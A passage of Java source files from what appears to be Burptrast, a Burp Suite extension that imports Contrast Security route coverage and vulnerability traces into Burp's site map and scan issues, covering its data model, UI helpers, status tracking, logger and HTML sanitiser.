77 | * Clears the Route Table, called when a new application is selected in the application drop down.
78 | */
79 | public void clearRouteTable() {
80 | if(routeTableModel!=null) {
81 | routeTableModel.setRowCount(0);
82 | }
83 | }
84 |
85 | /**
86 | * Clears the Trace Table. This is called when a new Application is selected in the Application drop down.
87 | */
88 | public void clearTraceTable() {
89 | if(traceTableModel!=null) {
90 | traceTableModel.setRowCount(0);
91 | }
92 | }
93 |
94 | public Map> getRouteCoverageMap() {
95 | return routeCoverageMap;
96 | }
97 |
98 | public List getVulnRequests() {
99 | return vulnRequests;
100 | }
101 |
102 | public File getCredsFile() {
103 | return credsFile;
104 | }
105 |
106 | public void setCredsFile(File credsFile) {
107 | this.credsFile = credsFile;
108 | }
109 |
110 | public Map getAppNameIDMap() {
111 | return appNameIDMap;
112 | }
113 |
114 | public List getTraces() {
115 | return traces;
116 | }
117 |
118 | public Map getFormattedDateMap() {
119 | return formattedDateMap;
120 | }
121 |
122 | public DefaultTableModel getRouteTableModel() {
123 | return routeTableModel;
124 | }
125 |
126 | public void setRouteTableModel(DefaultTableModel routeTableModel) {
127 | this.routeTableModel = routeTableModel;
128 | }
129 |
130 | public DefaultTableModel getTraceTableModel() {
131 | return traceTableModel;
132 | }
133 |
134 | public void setTraceTableModel(DefaultTableModel traceTableModel) {
135 | this.traceTableModel = traceTableModel;
136 | }
137 |
138 | public Map getAppToServerMap() {
139 | return appToServerMap;
140 | }
141 |
142 | public SortType getSortType() {
143 | return sortType;
144 | }
145 |
146 | public void setSortType(SortType sortType) {
147 | this.sortType = sortType;
148 | }
149 |
150 |
151 | public List getApplications() {
152 | return applications;
153 | }
154 |
155 | public void setApplications(List applications) {
156 | this.applications = applications;
157 | }
158 |
159 | public Map getTraceIDStoryMap() {
160 | return traceIDStoryMap;
161 | }
162 |
163 | public Map> getNonRequestPathVulnMap() {
164 | return nonRequestPathVulnMap;
165 | }
166 |
167 | public boolean isLiveBrowseEnabled() {
168 | return isLiveBrowseEnabled;
169 | }
170 |
171 | public void setLiveBrowseEnabled(boolean liveBrowseEnabled) {
172 | isLiveBrowseEnabled = liveBrowseEnabled;
173 | }
174 |
175 | public BrowseVulnCheckThread getBrowseCheckThread() {
176 | return browseCheckThread;
177 | }
178 |
179 | public void setBrowseCheckThread(BrowseVulnCheckThread browseCheckThread) {
180 | this.browseCheckThread = browseCheckThread;
181 | }
182 |
183 | public CorrelationIDAppender getCorrelationIDAppender() {
184 | return correlationIDAppender;
185 | }
186 |
187 | public void setCorrelationIDAppender(CorrelationIDAppender correlationIDAppender) {
188 | this.correlationIDAppender = correlationIDAppender;
189 | }
190 |
191 | public ThreadManager getThreadManager() {
192 | return threadManager;
193 | }
194 |
195 | public void setThreadManager(ThreadManager threadManager) {
196 | this.threadManager = threadManager;
197 | }
198 |
199 | public Status getStatus() {
200 | return status;
201 | }
202 |
203 | public void setStatus(Status status) {
204 | this.status = status;
205 | }
206 |
207 | public List getTsCreds() {
208 | return tsCreds;
209 | }
210 | }
211 |
--------------------------------------------------------------------------------
/src/main/java/burp/EditableHeaderRenderer.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.*;
4 | import javax.swing.table.JTableHeader;
5 | import javax.swing.table.TableCellRenderer;
6 | import java.awt.*;
7 | import java.awt.event.MouseAdapter;
8 | import java.awt.event.MouseEvent;
9 |
10 | public class EditableHeaderRenderer implements TableCellRenderer {
11 |
12 | private JTable table = null;
13 | private MouseEventReposter reporter = null;
14 | private JComponent editor;
15 |
16 | EditableHeaderRenderer(JComponent editor) {
17 | this.editor = editor;
18 | this.editor.setBorder(UIManager.getBorder("TableHeader.cellBorder"));
19 | }
20 |
21 | @Override
22 | public JComponent getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
23 | if (table != null && this.table != table) {
24 | this.table = table;
25 | final JTableHeader header = table.getTableHeader();
26 | if (header != null) {
27 | this.editor.setForeground(header.getForeground());
28 | this.editor.setBackground(header.getBackground());
29 | this.editor.setFont(header.getFont());
30 | reporter = new MouseEventReposter(header, col, this.editor);
31 | header.addMouseListener(reporter);
32 | }
33 | }
34 |
35 | if (reporter != null) reporter.setColumn(col);
36 |
37 | return this.editor;
38 | }
39 |
40 | static public class MouseEventReposter extends MouseAdapter {
41 |
42 | private Component dispatchComponent;
43 | private JTableHeader header;
44 | private int column = -1;
45 | private Component editor;
46 |
47 | public MouseEventReposter(JTableHeader header, int column, Component editor) {
48 | this.header = header;
49 | this.column = column;
50 | this.editor = editor;
51 | }
52 |
53 | public void setColumn(int column) {
54 | this.column = column;
55 | }
56 |
57 | private void setDispatchComponent(MouseEvent e) {
58 | int col = header.getTable().columnAtPoint(e.getPoint());
59 | if (col != column || col == -1) return;
60 |
61 | Point p = e.getPoint();
62 | Point p2 = SwingUtilities.convertPoint(header, p, editor);
63 | dispatchComponent = SwingUtilities.getDeepestComponentAt(editor, p2.x, p2.y);
64 | }
65 |
66 | private boolean repostEvent(MouseEvent e) {
67 | if (dispatchComponent == null) {
68 | return false;
69 | }
70 | MouseEvent e2 = SwingUtilities.convertMouseEvent(header, e, dispatchComponent);
71 | dispatchComponent.dispatchEvent(e2);
72 | return true;
73 | }
74 |
75 | @Override
76 | public void mousePressed(MouseEvent e) {
77 | if (header.getResizingColumn() == null) {
78 | Point p = e.getPoint();
79 |
80 | int col = header.getTable().columnAtPoint(p);
81 | if (col != column || col == -1) return;
82 |
83 | int index = header.getColumnModel().getColumnIndexAtX(p.x);
84 | if (index == -1) return;
85 |
86 | editor.setBounds(header.getHeaderRect(index));
87 | header.add(editor);
88 | editor.validate();
89 | setDispatchComponent(e);
90 | repostEvent(e);
91 | }
92 | }
93 |
94 | @Override
95 | public void mouseReleased(MouseEvent e) {
96 | repostEvent(e);
97 | dispatchComponent = null;
98 | header.remove(editor);
99 | }
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/src/main/java/burp/NonEditableTableModel.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.table.DefaultTableModel;
4 |
5 | public class NonEditableTableModel extends DefaultTableModel {
6 |
7 | @Override
8 | public boolean isCellEditable(int row, int column) {
9 | return false;
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/src/main/java/burp/ParentTab.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.Logger;
4 |
5 | import javax.swing.*;
6 | import java.awt.*;
7 | import java.io.PrintWriter;
8 |
9 | public class ParentTab implements ITab{
10 |
11 |
12 | private final IBurpExtenderCallbacks callbacks;
13 |
14 | public ParentTab(IBurpExtenderCallbacks callbacks) {
15 | this.callbacks = callbacks;
16 | }
17 |
18 | @Override
19 | public String getTabCaption() {
20 | return "Burptrast";
21 | }
22 |
23 | @Override
24 | public Component getUiComponent() {
25 | Logger logger = new Logger( new PrintWriter(callbacks.getStdout(), true),
26 | new PrintWriter(callbacks.getStderr(), true)
27 | );
28 | DataModel dm = new DataModel();
29 | JTabbedPane tabbedPane = new JTabbedPane();
30 | CredentialsTab credentialsTab = new CredentialsTab(callbacks,dm,logger);
31 | ContrastTab contrastTab = new ContrastTab(callbacks,dm,logger);
32 | tabbedPane.addTab("Credentials",credentialsTab.getUiComponent());
33 | tabbedPane.addTab("Contrast",contrastTab.getUiComponent());
34 | return tabbedPane;
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/burp/PathTracePair.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrastsecurity.models.Trace;
4 |
5 | public class PathTracePair {
6 | private String path;
7 | private Trace trace;
8 |
9 | public PathTracePair(String path, Trace trace) {
10 | this.path = path;
11 | this.trace = trace;
12 | }
13 |
14 | public String getPath() {
15 | return path;
16 | }
17 |
18 | public Trace getTrace() {
19 | return trace;
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/burp/PortResolver.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 |
5 | public class PortResolver {
6 |
7 | public static int getPort() {
8 | String textPort = Components.getPortNumberField().getText();
9 | if(textPort==null||textPort.isEmpty()) {
10 | String protocol = Components.getProtocolCombo().getSelectedItem().toString();
11 | if(protocol.equals("http")) {
12 | return 80;
13 | } else {
14 | return 443;
15 | }
16 | }
17 | return Integer.parseInt(textPort);
18 | }
19 |
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/burp/RouteTable.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.*;
4 |
5 | public class RouteTable extends JTable {
6 |
7 | @Override
8 | public Class getColumnClass(int column) {
9 | switch (column) {
10 | case 0:
11 | return Boolean.class;
12 | default:
13 | return String.class;
14 | }
15 | }
16 | @Override
17 | public boolean isCellEditable(int row, int column) {
18 | return column == 0;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/burp/RouteTableComparator.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.util.Comparator;
4 |
5 | public class RouteTableComparator implements Comparator {
6 |
7 | private final DataModel dataModel;
8 |
9 | public RouteTableComparator(DataModel dataModel) {
10 | this.dataModel = dataModel;
11 | }
12 |
13 | @Override
14 | public int compare(Object o1, Object o2) {
15 | long oneLong = getTimeStampFromDate(o1);
16 | long twoLong = getTimeStampFromDate(o2);
17 | if(oneLong>twoLong) {
18 | return 1;
19 | } else if(oneLong trace;
26 | private final Logger logger;
27 | private final StoryResponse response;
28 | private final TSCreds creds;
29 | private final String orgID;
30 | private final String appID;
31 |
32 | public ScanIssue(IHttpRequestResponse requestResponse, Optional trace, Logger logger, StoryResponse response, TSCreds creds, String orgID, String appID) {
33 | this.requestResponse = requestResponse;
34 | this.trace = trace;
35 | this.logger = logger;
36 | this.response = response;
37 | this.creds = creds;
38 | this.orgID = orgID;
39 | this.appID = appID;
40 | }
41 |
42 | @Override
43 | public URL getUrl() {
44 | try {
45 | return new RequestResponseGenerator().getURLFromHttpReq(requestResponse);
46 | } catch (MalformedURLException ex) {
47 | throw new RuntimeException(ex);
48 | }
49 | }
50 |
51 | @Override
52 | public String getIssueName() {
53 | if(trace.isPresent()) {
54 | return trace.get().getTitle()+" : Found by Assess";
55 | } else {
56 | return "Unknown";
57 | }
58 |
59 | }
60 |
61 | @Override
62 | public int getIssueType() {
63 | String id = "UNKNOWN";
64 | if(trace.isPresent()) {
65 | id = trace.get().getRule();
66 | }
67 | return IssueTypeMapper.getIssueType(id,logger).getBurpType();
68 | }
69 |
70 | @Override
71 | public String getSeverity() {
72 | if(trace.isPresent()) {
73 | return SeverityMapper.getMappingForContrast(trace.get().getSeverity()).getBurpSeverity();
74 | } else {
75 | return "Note";
76 | }
77 | }
78 |
79 | @Override
80 | public String getConfidence() {
81 | if(trace.isPresent()) {
82 | return ConfidenceMapper.getMappingForContrast(trace.get().getLikelihood()).getBurpConfidence();
83 | } else {
84 | return "Tentative";
85 | }
86 | }
87 |
88 | @Override
89 | public String getIssueBackground() {
90 | if(response!=null&& response.getStory()!=null&& response.getStory().getRisk()!=null&& response.getStory().getRisk().getText()!=null) {
91 | return response.getStory().getRisk().getText();
92 | } else {
93 | return null;
94 | }
95 | }
96 |
97 | @Override
98 | public String getRemediationBackground() {
99 | return null;
100 | }
101 |
102 | @Override
103 | public String getIssueDetail() {
104 | StringBuilder msg = new StringBuilder();
105 | if(trace.isPresent()) {
106 | String vulnTSURL = new TSVulnLinkGenerator().getURLAHref(creds.getUrl(),orgID,appID,trace.get().getUuid());
107 | msg.append(vulnTSURL+" ");
108 |
109 | }
110 | if(response!=null&&response.getStory()!=null&& response.getStory().getChapters()!=null) {
111 | for(Chapter chapter : response.getStory().getChapters()) {
112 | msg.append("");
113 | if(chapter.getType()!=null) {
114 | if(chapter.getType().equals("properties")) {
115 | msg.append("source");
116 | } else {
117 | msg.append(chapter.getType());
118 | }
119 | msg.append(" ");
120 | msg.append(" ");
121 | }
122 | if(chapter.getIntroText()!=null) {
123 | msg.append(chapter.getIntroText());
124 | msg.append(" ");
125 | }
126 | if(chapter.getBody()!=null) {
127 | msg.append(chapter.getBody());
128 | msg.append(" ");
129 | }
130 | }
131 | }
132 | return new HTMLSanitiser().sanitiseHTML(msg.toString());
133 | }
134 |
135 |
136 | @Override
137 | public String getRemediationDetail() {
138 | return trace.map(value -> new TSVulnLinkGenerator().getRemediationLink(creds.getUrl(), orgID, appID, value.getUuid())).orElse(null);
139 | }
140 |
141 | @Override
142 | public IHttpRequestResponse[] getHttpMessages() {
143 | return new IHttpRequestResponse[]{requestResponse};
144 | }
145 |
146 | @Override
147 | public IHttpService getHttpService() {
148 | return requestResponse.getHttpService();
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/src/main/java/burp/SiteMapImporter.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.HttpService;
4 | import com.contrast.Logger;
5 | import com.contrast.RequestResponseGenerator;
6 | import com.contrast.TSCreds;
7 | import com.contrast.TSReader;
8 | import com.contrast.model.Route;
9 | import com.contrast.model.RouteCoverage;
10 | import com.contrast.model.RouteCoverageObservationResource;
11 | import com.contrast.model.Routes;
12 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse;
13 | import com.contrastsecurity.exceptions.ContrastException;
14 | import com.contrastsecurity.models.Chapter;
15 | import com.contrastsecurity.models.HttpRequestResponse;
16 | import com.contrastsecurity.models.Story;
17 | import com.contrastsecurity.models.StoryResponse;
18 | import com.contrastsecurity.models.Trace;
19 |
20 | import java.io.IOException;
21 | import java.util.ArrayList;
22 | import java.util.List;
23 | import java.util.Optional;
24 |
25 | public class SiteMapImporter {
26 |
27 | private final DataModel dataModel;
28 | private final IBurpExtenderCallbacks callbacks;
29 | private final Logger logger;
30 |
31 | private final TSReader reader;
32 |
33 | public SiteMapImporter(DataModel dataModel, IBurpExtenderCallbacks callbacks, Logger logger, TSReader reader) {
34 | this.dataModel = dataModel;
35 | this.callbacks = callbacks;
36 | this.logger = logger;
37 | this.reader = reader;
38 | }
39 |
40 | public void importSiteMapToBurp(String orgID, String appName, String hostName, int port, String protocol, String appContext) {
41 | List matchedPaths = new ArrayList<>();
42 | try {
43 | TSCreds creds = TSCreds.getSelectedCreds(dataModel.getTsCreds());
44 | String appID = dataModel.getAppNameIDMap().get(appName);
45 | RequestResponseGenerator generator = new RequestResponseGenerator();
46 | HttpService service = new HttpService(hostName, port, protocol);
47 | for (Route route : dataModel.getRouteCoverageMap().keySet()) {
48 | Optional routeCoverage = dataModel.getRouteCoverageMap().get(route);
49 | if (routeCoverage.isPresent()) {
50 | for (RouteCoverageObservationResource r : routeCoverage.get().getObservations()) {
51 | if (isRouteSelected(r)) {
52 | IHttpRequestResponse reqRes = generator.getReqResForRouteCoverage(r, service, appContext);
53 | callbacks.addToSiteMap(reqRes);
54 | List traces = getTraceForPath(generator.getNormalisedPath(appContext, r.getUrl()), orgID, reader);
55 | if (!traces.isEmpty()) {
56 | matchedPaths.add(generator.getNormalisedPath(appContext, r.getUrl()));
57 | for (Trace trace : traces) {
58 | if (dataModel.getTraceIDStoryMap().containsKey(trace.getUuid())) {
59 | ScanIssue scanIssue = new ScanIssue(reqRes, Optional.of(trace),
60 | logger, dataModel.getTraceIDStoryMap().get(trace.getUuid()), creds, orgID, appID);
61 | callbacks.addScanIssue(scanIssue);
62 | }
63 | }
64 | }
65 | }
66 | }
67 | }
68 | }
69 | for (TraceIDDecoractedHttpRequestResponse hreqRes : dataModel.getVulnRequests()) {
70 | if (isTraceSelected(hreqRes.getRequestResponse())) {
71 | Optional requestResponse = generator.getReqResForTrace(hreqRes.getRequestResponse(), service);
72 | if (requestResponse.isPresent()) {
73 | Optional trace = dataModel.getTraces().stream().filter(t -> t.getUuid().equals(hreqRes.getTraceID())).findFirst();
74 | StoryResponse response = getStoryResponse(orgID, hreqRes.getTraceID(), reader);
75 | callbacks.addScanIssue(new ScanIssue(requestResponse.get(), trace, logger, response, creds, orgID, appID));
76 | requestResponse.ifPresent(callbacks::addToSiteMap);
77 | }
78 | }
79 | }
80 | for (String path : dataModel.getNonRequestPathVulnMap().keySet()) {
81 | if (!matchedPaths.contains(path)) {
82 | IHttpRequestResponse reqRes = generator.getReqResForRouteCoverage(path, "", service, "");
83 | reqRes.setComment("Found via Assess Vulnerability");
84 | if(isNonRequestVulnSelected(path) ) {
85 | for (Trace trace : dataModel.getNonRequestPathVulnMap().get(path)) {
86 | ScanIssue scanIssue = new ScanIssue(reqRes, Optional.of(trace),
87 | logger, dataModel.getTraceIDStoryMap().get(trace.getUuid()),
88 | creds, orgID, appID);
89 | callbacks.addScanIssue(scanIssue);
90 | }
91 | }
92 | }
93 | }
94 |
95 |
96 | } catch (IOException | ContrastException ex) {
97 | logger.logException("Error occurred importing site map", ex);
98 | throw new RuntimeException(ex);
99 | }
100 |
101 | }
102 |
103 |
104 | private boolean isRouteSelected(RouteCoverageObservationResource routeCoverage) {
105 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) {
106 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1);
107 | String verb = (String) dataModel.getRouteTableModel().getValueAt(i, 2);
108 | if (routeCoverage.getVerb().equals(verb) && routeCoverage.getUrl().equals(path)) {
109 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0);
110 | }
111 | }
112 | return false;
113 | }
114 |
115 | private StoryResponse getStoryResponse(String orgID, String traceID, TSReader reader) throws IOException {
116 | if (!dataModel.getTraceIDStoryMap().containsKey(traceID)) {
117 | reader.getStory(orgID, traceID)
118 | .ifPresent(storyResponse -> dataModel.getTraceIDStoryMap().put(traceID, storyResponse)
119 | );
120 | }
121 | return dataModel.getTraceIDStoryMap().get(traceID);
122 | }
123 |
124 | private List getTraceForPath(String path, String orgID, TSReader reader) throws IOException {
125 | List matchingTraces = new ArrayList<>();
126 | for (Trace trace : dataModel.getTraces()) {
127 | StoryResponse response = getStoryResponse(orgID, trace.getUuid(), reader);
128 | Story story = response.getStory();
129 | if (story.getChapters() != null) {
130 | Optional chapter = story.getChapters().stream().filter(chp -> "properties".equals(chp.getType())).findFirst();
131 | if (chapter.isPresent() && chapter.get().getPropertyResources() != null && !chapter.get().getPropertyResources().isEmpty()) {
132 | String newPath = chapter.get().getPropertyResources().get(0).getName();
133 | if (newPath.trim().equals(path.trim())) {
134 | matchingTraces.add(trace);
135 | }
136 | }
137 | }
138 | }
139 | return matchingTraces;
140 | }
141 |
142 | private Optional getVulnTableResult(HttpRequestResponse hreqRes) {
143 | if (hreqRes.getHttpRequest() != null) {
144 | String text = hreqRes.getHttpRequest().getText();
145 | if (text.contains(" ") && text.contains(" HTTP")) {
146 | String verb = text.split(" ")[0];
147 | String url = text.substring(text.indexOf(" ")).split(" HTTP")[0];
148 | return Optional.of(new VulnTableResult(url, verb));
149 | }
150 | }
151 | return Optional.empty();
152 | }
153 |
154 | private boolean isNonRequestVulnSelected(String nonVulnPath) {
155 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) {
156 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1);
157 | if (nonVulnPath.trim().equals(path.trim())) {
158 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0);
159 | }
160 | }
161 | return false;
162 | }
163 |
164 | private boolean isTraceSelected(HttpRequestResponse hreqRes) {
165 | Optional vulnTableResult = getVulnTableResult(hreqRes);
166 | if (vulnTableResult.isPresent()) {
167 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) {
168 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1);
169 | String verb = (String) dataModel.getRouteTableModel().getValueAt(i, 2);
170 | if (vulnTableResult.get().getUrl().trim().equals(path.trim()) && vulnTableResult.get().getVerb().equals(verb)) {
171 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0);
172 | }
173 | }
174 | }
175 | return false;
176 | }
177 |
178 |
179 | }
180 |
--------------------------------------------------------------------------------
/src/main/java/burp/Status.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | public enum Status {
4 |
5 | AWAITING_CREDENTIALS(" Awaiting Credentials "),
6 | READY(" Ready "),
7 | LOADING(" Loading "),
8 | ERROR(" Error ");
9 |
10 | private final String status;
11 |
12 | Status(String status) {
13 | this.status = status;
14 | }
15 |
16 | public String getStatus() {
17 | return status;
18 | }
19 |
20 |
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/burp/StatusUpdater.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | import javax.swing.*;
5 | import javax.swing.border.LineBorder;
6 | import javax.swing.border.TitledBorder;
7 | import java.awt.*;
8 |
9 | /**
10 | * Tracks the current status of Burptrast. Due to multiple threads updating the same underlying status it uses a simple
11 | * count to work out the status as a thread starts it calls updateStatus(LOADING), which increments the loadingCount.
12 | * When a subsequent call of updateStatus(READY) is made, it decrements the count. A count of 0 means ready and >0 means
13 | * loading.
14 | * When loading it will change the text of the status field int the UI to "loading" and disable all buttons. This
15 | * ensures we don't get into a weird state where halfway through processing traces, we change the underlying
16 | * application or org.
17 | * Once the status changes back to ready and therefore there are no running threads, the ui is reenabled.
18 | *
19 | */
20 | public class StatusUpdater {
21 |
22 | private static final Object lock = new Object();
23 |
24 | private static int loadingCount = 0;
25 |
26 | public static void updateStatus(Status status,DataModel dataModel) {
27 | synchronized (lock) {
28 | if(dataModel.getStatus()==null) {
29 | dataModel.setStatus(status);
30 | }
31 | if(status.equals(Status.ERROR)) {
32 | if(loadingCount>0) {
33 | loadingCount--;
34 | }
35 | Components.setButtons(true);
36 | setStatus(status,dataModel);
37 | setStatusBorder(Color.RED);
38 | }
39 |
40 | if(status.equals(Status.LOADING)) {
41 | loadingCount++;
42 | }
43 | if(status.equals(Status.READY)) {
44 | loadingCount--;
45 | } else if(status.equals((Status.AWAITING_CREDENTIALS))) {
46 | loadingCount--;
47 | }
48 | if(loadingCount>0) {
49 | Components.setButtons(false);
50 | setStatus(Status.LOADING,dataModel);
51 | setStatusBorder(Color.LIGHT_GRAY);
52 | } else if(status.equals(Status.READY)){
53 | Components.setButtons(true);
54 | Components.getCredsFile().setEnabled(true);
55 | Components.getSaveCredsFile().setEnabled(true);
56 | setStatus(status,dataModel);
57 | setStatusBorder(Color.GREEN);
58 | } else if(status.equals(Status.AWAITING_CREDENTIALS)){
59 | Components.getCredsFile().setEnabled(true);
60 | setStatus(status,dataModel);
61 | setStatusBorder(Color.LIGHT_GRAY);
62 | }
63 | }
64 |
65 | }
66 |
67 | private static void setStatus(Status status, DataModel dataModel) {
68 | dataModel.setStatus(status);
69 | Components.getStatusLabel().setText(status.getStatus());
70 | Components.getStatusLabel().updateUI();
71 | Components.getCredentialsStatusLabel().setText(status.getStatus());
72 | Components.getCredentialsStatusLabel().updateUI();
73 |
74 | }
75 |
76 | private static void setStatusBorder(Color color) {
77 | LineBorder lb = new LineBorder(color);
78 | Components.getCredentialsStatusPanel().setBorder(
79 | BorderFactory.createTitledBorder(lb, "Status", TitledBorder.CENTER, TitledBorder.TOP, null, null));
80 | Components.getStatusPanel().setBorder(
81 | BorderFactory.createTitledBorder(lb, "Status", TitledBorder.CENTER, TitledBorder.TOP, null, null));
82 | }
83 |
84 | }
85 |
--------------------------------------------------------------------------------
/src/main/java/burp/ThreadManager.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.threads.StoppableThread;
4 |
5 | import java.util.ArrayList;
6 | import java.util.Collections;
7 | import java.util.List;
8 | import java.util.concurrent.Executors;
9 | import java.util.concurrent.ThreadPoolExecutor;
10 |
11 | public class ThreadManager implements IExtensionStateListener {
12 |
13 |
14 | private final ThreadPoolExecutor executor =
15 | (ThreadPoolExecutor) Executors.newFixedThreadPool(10);
16 |
17 | private static final Object lock = new Object();
18 |
19 | private List threadList = Collections.synchronizedList(new ArrayList<>());
20 |
21 | @Override
22 | public void extensionUnloaded() {
23 | synchronized (lock) {
24 | threadList.forEach(StoppableThread::notifyThread);
25 | }
26 | }
27 |
28 | public void addToThreadList(StoppableThread thread) {
29 | synchronized (lock) {
30 | threadList.add(thread);
31 | }
32 | }
33 |
34 | public ThreadPoolExecutor getExecutor() {
35 | return executor;
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/burp/VulnTableResult.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | public class VulnTableResult {
4 |
5 | private String url;
6 | private String verb;
7 |
8 | public VulnTableResult(String url, String verb) {
9 | this.url = url;
10 | this.verb = verb;
11 | }
12 |
13 | public String getUrl() {
14 | return url;
15 | }
16 |
17 | public String getVerb() {
18 | return verb;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/HTMLSanitiser.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import org.owasp.html.HtmlPolicyBuilder;
4 | import org.owasp.html.PolicyFactory;
5 |
6 | /**
7 | * Used to sanitise the HTML. Burp already limits what HTML tags that can be rendered. But as we are only using 3 tags
8 | * br,b and a.
9 | * This sanitiser will remove any other HTML tags. This allows us to limit the risk of an XSS attack.
10 | */
11 | public class HTMLSanitiser {
12 |
13 | public String sanitiseHTML(String html) {
14 | PolicyFactory policyBuilder = new HtmlPolicyBuilder()
15 | .allowAttributes("src").onElements("img")
16 | .allowAttributes("href").onElements("a")
17 | .allowStandardUrlProtocols()
18 | .allowElements(
19 | "a", "br", "b"
20 | ).toFactory();
21 | return policyBuilder.sanitize(html);
22 | }
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/HttpService.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import burp.IHttpService;
4 |
5 | public class HttpService implements IHttpService {
6 |
7 | private String host;
8 | private int port;
9 | private String protocol;
10 |
11 |
12 | public HttpService(String host, int port, String protocol) {
13 | this.host = host;
14 | this.port = port;
15 | this.protocol = protocol;
16 | }
17 |
18 | @Override
19 | public String getHost() {
20 | return host;
21 | }
22 |
23 | @Override
24 | public int getPort() {
25 | return port;
26 | }
27 |
28 | @Override
29 | public String getProtocol() {
30 | return protocol;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/Logger.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import java.io.PrintWriter;
4 | import java.util.Date;
5 |
6 | /**
7 | * Logger class, outputs to Burp's StdOut/StdErr. Which depending on how Burp is configured will appear in the Burp
8 | * Extension output tab, a log file on disk or to the Burp Process's console.
9 | * Where it is outputted is configured by Burp in the Extension tab.
10 | */
11 | public class Logger {
12 |
13 | private final PrintWriter stdOut;
14 | private final PrintWriter stdErr;
15 |
16 | public Logger(PrintWriter stdOut, PrintWriter stdErr) {
17 | this.stdOut = stdOut;
18 | this.stdErr = stdErr;
19 | }
20 |
21 | public void logMessage(String message) {
22 | stdOut.println(getTimeStamp()+" : " +message);
23 | }
24 |
25 | private String getTimeStamp() {
26 | return new Date().toString();
27 | }
28 |
29 | public void logError(String error) {
30 | stdErr.println(getTimeStamp()+" : " +error);
31 | }
32 |
33 | public void logException(String error, Exception e) {
34 | stdErr.println(getTimeStamp()+" : " +error);
35 | e.printStackTrace(stdErr);
36 | }
37 |
38 |
39 |
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/RequestResponse.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import burp.IHttpRequestResponse;
4 | import burp.IHttpService;
5 |
6 | public class RequestResponse implements IHttpRequestResponse {
7 | private IHttpService service;
8 | private byte[] request;
9 | private byte[] response;
10 | private String comment;
11 | private String highlight;
12 |
13 | public RequestResponse(){}
14 |
15 | public RequestResponse(IHttpRequestResponse reqRos) {
16 | setComment(reqRos.getComment());
17 | setHighlight(reqRos.getHighlight());
18 | setHttpService(reqRos.getHttpService());
19 | setRequest(reqRos.getRequest());
20 | setResponse(reqRos.getResponse());
21 | }
22 |
23 |
24 | @Override
25 | public byte[] getRequest() {
26 | return request;
27 | }
28 |
29 | @Override
30 | public void setRequest(byte[] bytes) {
31 | this.request = bytes;
32 | }
33 |
34 | @Override
35 | public byte[] getResponse() {
36 | return response;
37 | }
38 |
39 | @Override
40 | public void setResponse(byte[] bytes) {
41 | this.response = bytes;
42 | }
43 |
44 | @Override
45 | public String getComment() {
46 | return comment;
47 | }
48 |
49 | @Override
50 | public void setComment(String s) {
51 | this.comment = s;
52 | }
53 |
54 | @Override
55 | public String getHighlight() {
56 | return highlight;
57 | }
58 |
59 | @Override
60 | public void setHighlight(String s) {
61 | this.highlight = s;
62 | }
63 |
64 | @Override
65 | public IHttpService getHttpService() {
66 | return service;
67 | }
68 |
69 | @Override
70 | public void setHttpService(IHttpService iHttpService) {
71 | this.service = iHttpService;
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/RequestResponseGenerator.java:
--------------------------------------------------------------------------------
1 | package com.contrast;
2 |
3 | import burp.IHttpRequestResponse;
4 | import com.contrast.model.RouteCoverageObservationResource;
5 | import com.contrastsecurity.models.HttpRequestResponse;
6 |
7 | import java.net.MalformedURLException;
8 | import java.net.URL;
9 | import java.nio.charset.StandardCharsets;
10 | import java.util.Optional;
11 |
12 | /**
13 | * Converts Contrast's Endpoint Objects into the IHttpRequestResponse objects used by Burp's Sitemap.
14 | *
15 | */
16 | public class RequestResponseGenerator {
17 |
18 |
19 | public String getNormalisedPath(String appContext, String url) {
20 | if(appContext==null||appContext.isEmpty()) {
21 | return url;
22 | }
23 | StringBuilder normalisedURL = new StringBuilder();
24 | if(!appContext.startsWith("/")) {
25 | appContext = "/"+appContext;
26 | }
27 | if(appContext.endsWith("/")) {
28 | appContext = appContext.substring(0,appContext.length()-1);
29 | }
30 | if(!url.startsWith("/")) {
